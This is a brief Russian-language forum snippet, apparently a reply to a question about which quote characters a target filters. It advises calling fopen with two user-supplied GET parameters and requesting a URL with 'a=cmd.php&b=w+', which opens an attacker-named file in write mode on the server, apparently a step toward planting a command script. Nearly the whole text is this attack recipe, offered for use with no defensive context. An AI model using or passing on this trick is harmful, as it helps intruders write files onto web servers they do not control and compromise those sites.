Фильтруется только " или ещё ' ?
Делай так
fopen( $_GET[a], $_GET[b] );
и обращайся так ...&a=cmd.php&b=w+